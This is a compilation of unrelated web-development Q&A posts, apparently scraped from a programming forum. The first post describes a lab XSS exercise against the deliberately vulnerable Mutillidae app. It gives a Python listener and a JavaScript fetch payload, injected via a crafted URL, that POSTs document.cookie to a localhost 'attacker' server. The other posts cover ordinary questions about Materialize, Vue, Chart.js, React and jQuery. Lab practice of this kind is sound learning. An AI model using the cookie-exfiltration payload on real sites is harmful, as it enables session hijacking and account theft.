XSS: stole cookies with local Python http server and Javascript POST request

I’m doing some exercises on a known vulnerable application called Mutillidae, running on localhost:8888.
Given a form vulnerable to SQLi and XSS, the goal is to send to the web server of the attacker the session cookies of the user logged.

Steps:

  1. Create a local http web server using Python and http.server
  2. Write a malicious script in Javascript which allows to send cookies using a POST request to the web server of the attacker.
  3. Inject the script into the vulnerable form and generate a malicious URL
  4. Login to the application with a user
  5. Navigate to the generated malicious URL and check if the web server received cookies.

Python web server running on localhost:8080:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()
    
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("Dati POST ricevuti:", post_data.decode('utf-8'))

        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    

def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f"Server in esecuzione su localhost:{port}...")
    httpd.serve_forever()

if __name__ == '__main__':
    run()

Javascript POST request

fetch('http://localhost:8080', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'cookie=' + document.cookie
});

I injected the Javascript code using <script></script> tag into the form ‘username’ input

The malicious URL generated is:

http://localhost:8888/index.php?page=user-info.php&username=<script>fetch('http://localhost:8080', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'cookie=' + document.cookie});</script>

The URLencoded version:

http://localhost:8888/index.php?page=user-info.php&username=%3Cscript%3Efetch%28%27http%3A%2F%2Flocalhost%3A8080%27%2C+%7B+++++method%3A+%27POST%27%2C+++++headers%3A+%7B%27Content-Type%27%3A+%27application%2Fx-www-form-urlencoded%27%7D%2C+++++body%3A+%27cookie%3D%27+%2B+document.cookie+%7D%29%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details

I logged in with a user, I entered the malicious URL into the search bar.
Unfortunately the web server receives nothing.

What can I do? Thanks.

Why autocomplete MaterializeCSS not working in Google Apps Script?

I’m trying to create a simple lookup form using Google Apps Script. The form uses data sourced from a spreadsheet to populate a number of autocomplete input fields. I can’t figure out why the autocomplete is not working. In supplierIDLookupFormHTML.html I put the script tag for the materialize js file at the very end of the body tag.

The function showSidebar_sellerID() in show_sidebars.js does append a simple div tag to the end of the body tag. But that shouldn’t affect the materialze js code, should it?

Please help. Here is my code.

supplierIDLookupFormHTML.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <base target="_top">

    <!-- Required meta tags -->
    <meta charset="utf-8">

    <!--Let browser know website is optimized for mobile-->
    <meta id="viewport" content="width=device-width, initial-scale=1.0"/>

    <!--Import Google Icon Font-->
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

    <!--Import materialize.css-->
    <link type="text/css" rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"  media="screen,projection"/>

    <!-- Add the standard Google Style Sheet. -->
    <link rel="stylesheet" href="https://ssl.gstatic.com/docs/script/css/add-ons1.css"> 

    <!--Import supplierIDLookupFormHTML,css -->
    <?!= HtmlService.createHtmlOutputFromFile('supplierIDLookupFormHTML.css').getContent(); ?>
  </head>
  
  <body>
    <div class="container">
      <!-- <h1>New Customer</h1> -->

      <form id="new-customer-form" onsubmit="onSubmitFormHandler(event)">

        <div class="row">
          <div class="input-field col m6">
              <label for="companyName">Company Name</label>
              <input type="text" id="companyName" name="companyName" class="autocomplete">
          </div>
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6">
              <label for="ebayID">ebayID</label>
              <input type="text" id="ebayID" name="ebayID" class="autocomplete">
          </div>
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6">
              <label for="amazonSellerID">Amazon Seller ID</label>
              <input type="text" id="amazonSellerID" name="amazonSellerID" class="autocomplete">
          </div>
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6">
            <label for="aliexpressSellerID">Aliexpress Seller ID</label>
            <input type="text" id="aliexpressSellerID" name="aliexpressSellerID" class="autocomplete">
          </div>        
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6">
              <label for="supplierID">Seller ID</label>
              <input type="text" id="supplierID" name="supplierID" readonly="readonly">
          </div>
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6">
            <label for="selectedSupplierName">Selected Supplier Name</label>
            <input type="text" id="selectedSupplierName" name="selectedSupplierName" readonly="readonly">
          </div>        
        </div><!-- end .row -->

        <div class="row">
          <div class="input-field col m6 p-1">
            <button type="submit" class="btn waves-effect waves-light" name="submitBtn" id="submitBtn" value="submit">Submit
              <i class="material-icons right">Submit</i>
            </button>
          </div>
          <div class="input-field col md6">
            <button type="close" class="btn btn-secondary btn-block" id="closeBtn" value="Close" onclick="google.script.host.close()">Close</button>
          </div>
        </div><!-- end .row -->

      </form><!-- end form -->

      <p>
        <div id="errorMsg"></div>
      </p>

      <p>
        <div id="sucessMsg"></div>
      </p>

    </div><!-- end .container -->

    <!--JavaScript at end of body for optimized loading-->
    <!-- Initialise: jQuery -->
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
    
    <!-- Initialise: LoDash-->
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/lodash.min.js"></script>

    

    <!-- Shared javascript functions -->
    <?!= HtmlService.createHtmlOutputFromFile('sharedJavascriptFunctionsJS').getContent(); ?>
    <?!= HtmlService.createHtmlOutputFromFile('supplierIDLookupFormHTML.js').getContent(); ?> 

    <!-- Compiled and minified JavaScript -->
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
  </body>

</html>

src/supplierIDLookupFormHTML.js.html

<script>
  // Prevent forms from submitting.
  function preventFormSubmit() {
    var forms = document.querySelectorAll('form');
    for (var i = 0; i < forms.length; i++) {
      forms[i].addEventListener('submit', function(event) {
      event.preventDefault();
      });
    }
  }

  document.addEventListener('DOMContentLoaded', function() {
    window.addEventListener('load', preventFormSubmit);    
    //google.script.run.withSuccessHandler(populateSuppliers).getSuppliers();
    initialize();
    google.script.run.withSuccessHandler(populateCompanyNames).getSupplierCompanyNames();
    /*google.script.run.withSuccessHandler(populateEbayIDs).getSupplierebayIDs();
    google.script.run.withSuccessHandler(populateAmazonSellerIDs).getSupplierAmazonSellerIDs();
    google.script.run.withSuccessHandler(populateAliexpressSellerIDs).getSupplierAliexpressSellerIDs();*/
  });

  // REWRITE
  function buildAutoCompleteDataObject() {


    var customers = getDataFromHtml('customerObj_htmlservice');
    const customer = customers[Object.keys(customers)[0]];
    console.log(customer);
    //console.log(customer.customerID);
    //console.log(customer.firstName);

    // fill in the form fields using the data from the customer object.
    // loop through each entry of the customer object and match the entry with an element in the current document.
    Object.entries(customer).forEach((entry) => {
      const [key, value] = entry;
      //console.log(`${key}: ${value}`);
      //console.log(typeof `${value}`);
      
      var element = document.getElementById(`${key}`);
      if (element) {
        console.log("element (" + `${key}` + ") exists");
        document.getElementById(`${key}`).value = `${value}`;
      } else {
        console.log("Element (" + `${key}` + ") does not exist")
      }
    });
  }

  function getDataFromHtml(idData) {
    if (!idData)
        idData = "mydata_htmlservice";
    var dataEncoded = document.getElementById(idData).innerHTML;
    //console.log(dataEncoded);
    var data = JSON.parse(dataEncoded);
    return data;
  }

  //FIX THIS
  function initialize() {
    const suppliers = getDataFromHtml('suppliersObj_htmlservice');
    const supplier = suppliers[Object.keys(suppliers)[0]];
    //console.log("const suppliers: " + suppliers);
    //console.log("const supplier: " + supplier);

    _.forEach(suppliers, function(supplier) {
      _.forEach(supplier, function(value, key) {
        //console.log("lodash nested forEach():")
        //console.log(`${key}: ${value}`);
      });
      console.log("");
    });

    //console.log(suppliers[0][supplierid]);
  }

  function populateCompanyNames(companyNames){
    console.log("running: populateCompanyNames()");
    console.log(companyNames);
    var autocomplete =  document.getElementById('companyName');
    var instances = M.autocomplete.init(autocomplete, { data: companyNames });
  }

  function populateEbayIDs(ebayIDs){
    let autocomplete =  document.getElementById('ebayID');
    let instances = M.autocomplete.init(autocomplete, {data: ebayIDs});
  }

  function populateAmazonSellerIDs(amazonSellerIDss){
    let autocomplete =  document.getElementById('amazonSellerID');
    let instances = M.autocomplete.init(autocomplete, {data: amazonSellerIDs});
  }

  function populateAliexpressSellerIDs(aliexpressSellerID){
    let autocomplete =  document.getElementById('aliexpressSellerID');
    let instances = M.autocomplete.init(autocomplete, {data: aliexpressSellerIDs});
  }

    function onListFailure(error) {
      //alert(error.message);
      console.log("onListFailure() triggered. Error message was: " + error.message);
    }

    //const dropdownIDs = ["companyName", "ebayID", "amazonSellerID", "aliexpressSellerID"];


    function handleFormSubmit(formObject) {
      google.script.run.processForm(formObject);
      document.getElementById("myForm").reset();
    }

    function onClickSubmitBtnHander() {
      var supplierID = $("#supplierID").val();
      google.script.run.setCurrentCellSupplierID(supplierID);
    }

</script>

show_sidebars.js

/**
 * @function showSidebar_sellerID
 * @description TODO
 */
function showSidebar_sellerID() {
  var SIDEBAR_TITLE = 'SellerID Lookup';
  var suppliersObj = JSON.stringify(getSuppliers());
  //console.log("suppliersObj: " + suppliersObj)
  const sidebar = HtmlService.createTemplateFromFile('supplierIDLookupFormHTML')

  var htmlOutput = sidebar.evaluate();
  var strAppend = "<div id='suppliersObj_htmlservice' style='display:none;'>" + suppliersObj + "</div>";
  htmlOutput.append(strAppend);

  htmlOutput.setTitle(SIDEBAR_TITLE);  
  SpreadsheetApp.getUi().showSidebar(htmlOutput);
}

error shown in developer console

Uncaught 
TypeError: Cannot read properties of undefined (reading 'init')
    at populateCompanyNames (userCodeAppPanel:81:36)
    at Ph (695454968-mae_html_user_bin_i18n_mae_html_user__en_gb.js:149:334)
    at 695454968-mae_html_user_bin_i18n_mae_html_user__en_gb.js:36:276
    at mf.N (695454968-mae_html_user_bin_i18n_mae_html_user__en_gb.js:102:380)
    at Ed (695454968-mae_html_user_bin_i18n_mae_html_user__en_gb.js:64:477)
    at a (695454968-mae_html_user_bin_i18n_mae_html_user__en_gb.js:62:52)

How to inline java script when coding in nodejs ‘views’

I’ve been using nodejs as my backend. In nodejs you use ‘views’ as the frontend instead of html files. Views are very similar to html files, but I was wondering if there is a way to code javascript inline on a view.

I tried code inline javascript the same way you do on html file. but it did not work for the view (ejs file).

How do I obtain the authorization code and access token URIs for Google OAuth 2.0

If you are doing these and selecting your email from consent if you get an html page in console log then you are mismatching the code ủri and token uri

https://accounts.google.com/o/oauth2/auth This is code uri

And https://oauth2.googleapis.com/token
This is for token

This mistake I have made so plz if you find this helpful then let me know

I have tried to integrate bigquery so I have got this html page but not getting response
So I found that I am mísmatching the ủri

Dashed downward arrow failed in XyJax

Using LaTeX package xypic, the code

$$xymatrix{
&ar@{.}[d]\
1&2
}$$

produces a dashed downward arrow:     texlive

so it is valid xypic code.

But it causes an error in XyJax (an implementation of xypic in Javascript. Examples)

<script>
  MathJax = {
    loader: {
      load: ['[custom]/xypic.js'],
      paths: {custom: 'https://cdn.jsdelivr.net/gh/sonoisa/[email protected]/build/'}
    },
    tex: {
      packages: {'[+]': ['xypic']}
    }
  };
</script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/es5/tex-chtml.js"></script>

$$xymatrix{
&ar@{.}[d]\
1&2
}$$

Error: SyntaxError ‘}’ expected but ‘[‘ found. Parse error at or near “&ar@{.}[d]
“.

I tried to read the source of XyJax parser, but can’t locate code that causes the error.

A temporary workaround:

<script>
  MathJax = {
    loader: {
      load: ['[custom]/xypic.js'],
      paths: {custom: 'https://cdn.jsdelivr.net/gh/sonoisa/[email protected]/build/'}
    },
    tex: {
      packages: {'[+]': ['xypic']}
    }
  };
</script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/es5/tex-chtml.js"></script>

$$xymatrix{
&{}ar@{.}[d]\
1&2
}$$

How to access HTML elements in shadow roots? Looking for a code snippet

I want to expand the whole list of subdomains here https://www.virustotal.com/gui/domain/google.com/relations (the second section). You can do this manually by clicking on the button below the list, but it only shows 10 new entries for each click and it is more than 5000 entries…I tried to script this but I am crappy at Javascript and the page contains many levels of shadow roots that I don’t know how to handle.

I read this questionhttps://stackoverflow.com/questions/57813144/how-to-select-element-inside-open-shadow-dom-from-document but I either failed to understand the answers or am too bad at Javascript.

How do I write something that clicks that button in Javascript?

Thank you.

Vue component: method property not rendering correctly on an app

I’m a beginner that is reading and practicing a book called ‘Full Stack Vue.js’ by Hassan Djirdeh and I’m having trouble rendering the showTitleOfActiveDay computed property in my Vue component CalendaryEntry. The component is supposed to display the name of the active day you click on the header row, but it’s not rendering correctly.

It’s supposed that the CalendaryEntry should also appear, but it doesn’t. I know it’s by that method as its dynamic data is linked directly to it.

This is how the app currently looks

Eliminating the v-model and moustache data for the Entry name renders the Entry, again, static

When the site is loaded, these are the errors shown:

The directories are ordered like this:

public
└── index.html
src
└── app
├── components
│ ├── calendaryDay.vue
│ ├── calendaryEntry.vue
│ ├── calendaryEvent.vue
│ └── calendaryWeek.vue
└── app.vue
├── seed.js
└── main.js

The problem is probably got from the calendaryEntry.vue, calendaryDay.vue and seed.js

Here’s the calendaryEntry (no style)

<template>
    <div id="nav-entry">
        <div class="event-container">
            <div class="event-outside-error">
                <input type="text" placeholder="New Event" v-model="newEvent" class="event-input" required>

                    <p class="event-text">Day of the event: 
                        <span>
                            <strong>
                                {{ showTitleOfActiveDay }}
                            </strong>
                        </span>
                    </p>
                    
                    <button class="event-submit" @click="submitEventRequest(newEvent)">Submit</button>
            </div>
            <p class="event-error" v-if="error"> Type an event, please. </p>        
        </div>
    </div>
</template>

<script>
    import store from '../seed.js';
    export default {
        name: 'CalendaryEntry',
        props: ['activeDay'],
        data() {
            return {
                newEvent: '',
                error: false,
        }},
        computed: {
            allDataStored: () => store.seedData,
            showTitleOfActiveDay() {
                return store.activeDay.name;
            }
        },
        methods: {
            submitEventRequest(newEvent) {
                if(newEvent === '') return this.error = true;
                store.submitEvent(newEvent);
                this.newEvent = '';
            },
        }
    };
</script> 

Here’s the calendaryDay:

<template>
    <div class="d-column" @click="store.setActiveDay(day.id)">
            <h3 class="d-banner">{{ day.name }}</h3>
            <div class="d-actions">
                <div class="d-number has-text-centered"> 
                    {{ day.id }}
                </div>

                <CalendaryEvent v-for="(event, index) in day.events" 
                                :key="index" :event="event" :day="day"/>
            </div>
    </div>
</template>

<script>
    import store from '../seed.js';
    import CalendaryEvent from './calendaryEvent.vue';
    
    export default {
        name: 'CalendaryDay',
        props: ['day'],
        methods: {
            setActiveDay(day) {
                if (day !== null && day !== undefined) {
                    store.setActiveDay(day)
                } else {
                    console.error('Error: setActiveDay called with null or undefined day')
                }
            }
            
        },
        components: {
            CalendaryEvent,
        }
    }
</script>

Here’s the export for the seed.js, the db array is well-defined btw, as the events are loaded on the calendar.

export const store = {
    seedData: seedData,
    state: {
        seedData,
    }, 
    methods: {
        getActiveDay(){
            return this.state.seedData.find(day => day.id === this.state.activeDay);
        },
        setActiveDay: function(dayId) {
            console.log('checking out the function01', dayId);
            return this.state.seedData.map(day => {
                if (day.id === dayId) {
                    return {...day, active: true};
                } else {
                    return {...day, active: false};
                }
            });
        },

        SubmitEvent(event){
            const activeDay = this.getActiveDay();
            activeDay.events.push({'details': event, 'edit': false});           
        },
        editEvent(id, eventDetail){
            const editedEvent = this.getActiveDay().events.find(event => event.id === id);
            const eventObj = editedEvent.events.find(event => event.details === eventDetail);
            eventObj.edit = true;
        }
    }
};

I was just trying to solve it. I tried first by myself, then I asked to Codeium, ChatGPT, Monica, Gemini but none of these gave me a solution. Hope you can bring support.

combo-bar-line with differest number of element

I would like to make a graphic design showing the trend of amounts.
Specifically a bar graph with the monthly delta and a graph with the cumulative total so far.
In my situation, the starting amount is 9,218.06 and the ending amount is 3,336.55.
In the graph, however, I cannot show the initial amount.

I would like to have the points in the line graph to be horizontally in the middle between the 2 bar graphs and the line graph to have an extra point, the initial amount as first element.

const comboChart_all = new Chart(document.getElementById('canvas-balances-all'), {
  type: 'bar', // Tipo di grafico principale (bar)
  data: {
    labels: ['2022-08', '2022-09', '2022-10', '2022-11', '2022-12', '2023-01', '2023-02', '2023-03', '2023-04', '2023-05', '2023-06', '2023-07', '2023-08', '2023-09', '2023-10', '2023-11', '2023-12', '2024-01', '2024-02', '2024-03', '2024-04', '2024-05', '2024-06', '2024-07', '2024-08'],
    datasets: [
      { 
        label: 'Total for Month',
        type: 'bar', // Tipo di dataset
        data: [-2858.18, 2014.21, 3060.16, -5606.27, 7070.87, -208.27, -5702.15, -244.05, 754.22, 375.52, -1002.45, -1145.54, 1118.56, -5210.75, -215.21, -3383.08, 1570.59, 2394.53, -1864.91, -146.8, 62.89, 1354.87, -4995.44, 4563.65, -2638.48],
        backgroundColor: 'rgba(180, 180, 180, 0.5)',
        borderColor: 'rgba(180, 180, 180, 0.8)',
        borderWidth: 1
      },
      {
        label: 'Cumulative Total',
        type: 'line', // Tipo di dataset
        data: [11359.88, 13374.09, 16434.25, 10827.98, 17898.85, 17690.58, 11988.43, 11744.38, 12498.6, 12874.12, 11871.67, 10726.13, 11844.69, 6633.94, 6418.73, 3035.65, 4606.24, 7000.77, 5135.86, 4989.06, 5051.95, 6406.82, 1411.38, 5975.03, 3336.55],
        backgroundColor: 'rgba(151, 187, 205, 0.2)',
        borderColor: 'rgba(151, 187, 205, 1)',
        fill: false, // La linea non deve essere riempita sotto
        borderWidth: 2
      }
    ]
  },
  options: {
    responsive: true
  }
});
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<div class="c-chart-wrapper">
  <canvas id="canvas-balances-all"></canvas>
</div>

https://jsfiddle.net/unxp03dv/

how can I do it?

function at bootstrap 4 carousel image slide event

I am using bootstrap 4 carousel with 11 slides which are working fine as desired. I have another div (#div-info) say in which I wish to display certain Text and some other image as per carousel slide. I mean when slide no. 2 is
active, it must display text as SLIDE 2 and some fix images as per slide 2 in another div (#div-info) and when carousel moves to next slide i.e. 3, the another specific text and specific images is to display in div(#div-info).

I had observed the event “slide.bs.carousel” but unable to find the solution.

Please help. I am very much novice in JavaScript and jQuery but I would try me level best to follow your
instructions.

Poor performance on mobile

my site https://www.elektrolinka.cz/ has a poor core web vitale score on mobile devices. The main page scores 5.3 seconds in FCP metrics. Really don’t know what to do. I am using compressed WebP and AVIF images, minified CSS, running the site through Cloudfare and lazy load Tag manager using a script detecting the user scroll, then loading the rest of the codes on the site. Still the performance is bad. Help, please.

I tried reducing the font size on the main page and the logo size, also tried downloading the fonts instead of using Google fonts. However, nothing helped.

Unordered display of items after switching from desktop to mobile and vice versa

There is a problem in my JavaScript code that I have been struggling with for about 2 days.

jQuery(document).ready(function($) {
    function ClickArrowsSubMenu($menu) {
        if ( ! $menu.hasClass( 'clickarrowssubmenu' ) ) {
            return;
        }
        $menu.find('.menu-item-has-children > a').off('click').click(function(e) {
            var $this = $(this);
            var offset = $this.offset();
            var x = e.pageX - offset.left;
            var y = e.pageY - offset.top;
            var isParentLevel = $this.closest('ul').parent().is('nav');
            var clickOnAfter = false;
            if (window.innerWidth > 768) {
                if (isParentLevel) {
                    clickOnAfter = (x < 9) && (y > 8 && y < 15);
                } else {
                    clickOnAfter = (x > 8 && x < 20) && (y > 20 && y < 27);
                }
            } else {
                if ($this.closest('nav').hasClass('account')) {
                    if (isParentLevel) {
                        clickOnAfter = (x < 9) && (y > 13 && y < 20);
                    } else {
                        clickOnAfter = (x > 8 && x < 20) && (y > 20 && y < 27);
                    }
                } else {
                    clickOnAfter = (x > 7 && x < 20) && (y > 20 && y < 27);
                }
            }
            if (clickOnAfter) {
                e.preventDefault();
                var $parent = $this.parent();
                var $submenu = $parent.children('.sub-menu');
                $('nav.menu').not($menu).find('.menu-item-has-children.active').removeClass('active').children('.sub-menu').slideUp();
                $('nav.menu').not($menu).prev('.hamburger-menu.open').click();
                if ($parent.hasClass('active')) {
                    $parent.removeClass('active');
                    $submenu.slideUp().find('.menu-item-has-children').removeClass('active').children('.sub-menu').slideUp();
                } else {
                    $parent.siblings('.menu-item-has-children').removeClass('active').children('.sub-menu').slideUp().find('.menu-item-has-children').removeClass('active').children('.sub-menu').slideUp();
                    $parent.addClass('active');
                    $submenu.slideDown(function() {
                        $(this).removeAttr('style');
                        $submenu.data('current-page', 0);
                        showPage($submenu, 0);
                    });
                }
            }
        });
    }

    function HamburgerMenu($menu) {
        if ( ! $menu.hasClass( 'hamburgermenu' ) ) {
            return;
        }
        if ($menu.prev('.hamburger-menu').length === 0) {
            $('<div class="hamburger-menu"><i class="fas fa-bars"></i></div>').insertBefore($menu);
            $menu.prev('.hamburger-menu').click(function() {
                $('nav.menu').not($menu).find('.menu-item-has-children.active').removeClass('active').children('.sub-menu').slideUp();
                $('nav.menu.hamburgermenu').not($menu).prev('.hamburger-menu.open').click();
                if ($(this).hasClass('open')) {
                    $menu.slideUp(function() {
                        $(this).removeAttr('style');
                        $(this).removeClass('act');
                    });
                    $(this).removeClass('open').html('<i class="fas fa-bars"></i>');
                } else {
                    $menu.slideDown(function() {
                        $(this).removeAttr('style');
                        $(this).addClass('act');
                    });
                    $(this).addClass('open').html('<i class="fas fa-times"></i>');
                }
            });
        }
    }

    function showPage($subMenu, page) {
        var $items = $subMenu.children('li');
        var totalItems = $items.length;
        var itemsPerPage = 2;
        $items.each(function(index) {
            if (index >= page * itemsPerPage && index < (page + 1) * itemsPerPage) {
                $(this).addClass('activ');
            } else {
                $(this).removeClass('activ');
                if (!$(this).attr('class')) {
                    $(this).removeAttr('class');
                }
            }
        });
        if (page > 0) {
            $subMenu.addClass('has-previous');
        } else {
            $subMenu.removeClass('has-previous');
        }
        if ((page + 1) * itemsPerPage < totalItems) {
            $subMenu.addClass('has-next');
        } else {
            $subMenu.removeClass('has-next');
        }
    }

    function Paginations($menu) {
        if ( ! $menu.hasClass( 'paginations' ) ) {
            return;
        }
        $menu.find('ul ul.sub-menu').each(function() {
            var $subMenu = $(this);
            var currentPage = 0;
            $subMenu.data('current-page', currentPage);
            $subMenu.on('click', function(event) {
                var offsetTop = $subMenu.offset().top;
                var offsetLeft = $subMenu.offset().left;
                var offsetRight = offsetLeft + $subMenu.outerWidth();
                var offsetBottom = offsetTop + $subMenu.outerHeight();
                var clickY = event.pageY;
                var clickX = event.pageX;
                var hasPrevious = $subMenu.hasClass('has-previous');
                var hasNext = $subMenu.hasClass('has-next');
                var $visibleItems = $subMenu.children('li:visible');
                var displayedItems = $visibleItems.length;
                var page = $subMenu.data('current-page');
                if (displayedItems === 1) {
                    if (hasPrevious && hasNext) {
                        var upArrowClickTop = offsetTop + 14;
                        var upArrowClickBottom = offsetBottom - 95;
                        var downArrowClickTop = offsetTop + 95;
                        var downArrowClickBottom = offsetBottom - 14;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else if (hasPrevious && !hasNext) {
                        var upArrowClickTop = offsetTop + 14;
                        var upArrowClickBottom = offsetBottom - 62;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else if (!hasPrevious && hasNext) {
                        var downArrowClickTop = offsetTop + 62;
                        var downArrowClickBottom = offsetBottom - 14;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else {
                        var upArrowClickTop = 0;
                        var upArrowClickBottom = 0;
                        var downArrowClickTop = 0;
                        var downArrowClickBottom = 0;
                        var ArrowClickRight = 0;
                        var ArrowClickLeft = 0;
                    }
                } else if (displayedItems === 2) {
                    if (hasPrevious && hasNext) {
                        var upArrowClickTop = offsetTop + 14;
                        var upArrowClickBottom = offsetBottom - 142;
                        var downArrowClickTop = offsetTop + 142;
                        var downArrowClickBottom = offsetBottom - 14;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else if (hasPrevious && !hasNext) {
                        var upArrowClickTop = offsetTop + 14;
                        var upArrowClickBottom = offsetBottom - 109;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else if (!hasPrevious && hasNext) {
                        var downArrowClickTop = offsetTop + 109;
                        var downArrowClickBottom = offsetBottom - 14;
                        var ArrowClickRight = (offsetLeft + offsetRight) / 2 + 6;
                        var ArrowClickLeft = (offsetLeft + offsetRight) / 2 - 7;
                    } else {
                        var upArrowClickTop = 0;
                        var upArrowClickBottom = 0;
                        var downArrowClickTop = 0;
                        var downArrowClickBottom = 0;
                        var ArrowClickRight = 0;
                        var ArrowClickLeft = 0;
                    }
                }
                var withinUpArrowArea = (clickY >= upArrowClickTop && clickY <= upArrowClickBottom && (clickX >= ArrowClickLeft && clickX <= ArrowClickRight));
                var withinDownArrowArea = (clickY >= downArrowClickTop && clickY <= downArrowClickBottom && (clickX >= ArrowClickLeft && clickX <= ArrowClickRight));
                if (withinUpArrowArea) {
                    event.stopPropagation();
                    if (page > 0) {
                         page--;
                         $subMenu.data('current-page', page);
                         showPage($subMenu, page);
                    }
                } else if (withinDownArrowArea) {
                    event.stopPropagation();
                    if ((page + 1) * 2 < $subMenu.children('li').length) {
                        page++;
                        $subMenu.data('current-page', page);
                        showPage($subMenu, page);
                    }
                }
                if (withinUpArrowArea || withinDownArrowArea) {
                    $subMenu.find('.menu-item-has-children.active').removeClass('active').children('.sub-menu').slideUp();
                }
            });
            showPage($subMenu, 0);
        });
    }

    function ResetMenu($menu) {
        if (window.innerWidth > 768) {
            $menu.prev('.hamburger-menu').remove();
            $menu.removeAttr('style').show();
            $menu.find('.menu-item-has-children').removeClass('active').children('.sub-menu');
        } else {
            if ( $menu.hasClass( 'hamburgermenu' ) ) {
                HamburgerMenu($menu);
            }
            $menu.find('.menu-item-has-children').removeClass('active').children('.sub-menu');
        }
    }

    function checkWindowWidth() {
        $('nav.menu').each(function() {
            var $menu = $(this);
            var isLargeScreen = window.innerWidth > 768;
            var isCurrentlyLargeScreen = $menu.hasClass('large-screen');
            var isCurrentlySmallScreen = $menu.hasClass('small-screen');
            if (isLargeScreen) {
                if (!isCurrentlyLargeScreen) {
                    $menu.addClass('large-screen').removeClass('small-screen');
                    if ( $menu.hasClass( 'clickarrowssubmenu' ) ) {
                        ClickArrowsSubMenu($menu);
                    }
                    if ( $menu.hasClass( 'paginations' ) ) {
                        Paginations($menu);
                    }
                    ResetMenu($menu);
                }
            } else {
                if (!isCurrentlySmallScreen) {
                    $menu.addClass('small-screen').removeClass('large-screen');
                    if ( $menu.hasClass( 'hamburgermenu' ) ) {
                        HamburgerMenu($menu);
                    }
                    if ( $menu.hasClass( 'clickarrowssubmenu' ) ) {
                        ClickArrowsSubMenu($menu);
                    }
                    if ( $menu.hasClass( 'paginations' ) ) {
                        Paginations($menu);
                    }
                    ResetMenu($menu);
                }
            }
        });
    }

    checkWindowWidth();

    $(window).resize(checkWindowWidth);

    function serach() {
        $( '.search-icon' ).on( 'click', function() { $( '.search' ).css( 'display', 'flex' ).fadeIn(); } );
        $( '.times' ).on( 'click', function() { $( '.search' ).removeAttr( 'style' ).fadeOut(); } );
    }

    serach();

});
  1. If the width of the browser is greater than 768 pixels or less than
    768 pixels (without switching to each other): by opening and closing
    the hierarchy (level), items 1 and 2 are displayed first, and when
    using hierarchy pagination (Level) The next items are also displayed
    until the last item.
  2. If the width of the browser is greater than 768 pixels or less than 768 pixels (by switching to each other): By opening and closing the hierarchy (level), items 1 and 2 are displayed first, and when using hierarchy pagination (level) after item 1 and 2, item 3 and 4 are displayed in order, but after item 3 and 4, the display order of the items is messed up and items 9, 10 and … are displayed to give.

When I am in position #1, there is no problem. But when I’m in situation number 2, the display order of the items gets messed up, and when I see item 1 and 2, by clicking on the next page, it jumps to item 7 and 8 and it doesn’t display in that order.

I was really confused.

React unable to trigger usestate change at right time

I’m trying to sort products by their price low-high or high-low, something I’ve done before in vanilla JS, but this time in React. I have a dropdown to chose the desired order and the actual function works but not in the way I need it too.

In my local version of the code if you select the sort order from the dropdown it does nothing at that point, however if you then filter the products by say a brand or category it applies both the brand (or category) filter and also the selected price sort order filter. You can then from that point change the sort order from low-high to high-low or vice versa just fine.

So it does seem to apply the selected sort order correctly but it’s just not rendering the useState change at the time of selection in the dropdown and I’m not sure why.

In short here’s the bits controlling the sort order functionality:

const [filterData, setFilterData] = useState(productDataList.products || []);

const sortItems = (e) => {
console.log('Sort');
const sortedProducts = filterData.sort((a, b) => {
  if (e.value == "LowToHigh") {
    console.log('sorted low to high');
    if (a.price < b.price) {
      return -1;
    } else {
      return 1;
    }
  } else if (e.value == "HighToLow") {
    console.log('sorted high to low');
    if (a.price > b.price) {
        return -1;
      } else {
        return 1;
      }
    }
  });
  setFilterData(sortedProducts);
};

return (

<select id="sortDropDown" onChange={(e) => sortItems(e.target)}>
    <option value="default">Sort by:</option>
    <option value="LowToHigh">Low to high</option>
    <option value="HighToLow">High to low</option>
</select>

)

Hopefully that is enough for someone to help provide information on a fix, as I’m confused why it’s not updating when selecting an option from the dropdown.

If not I’ve added more code below for the page (although it’s a slightly stripped back version and is normally broken up across a few components and I’ve tried to amalgamate it below, but if anything else is needed to be able to help please let me know.

Thanks in advance.

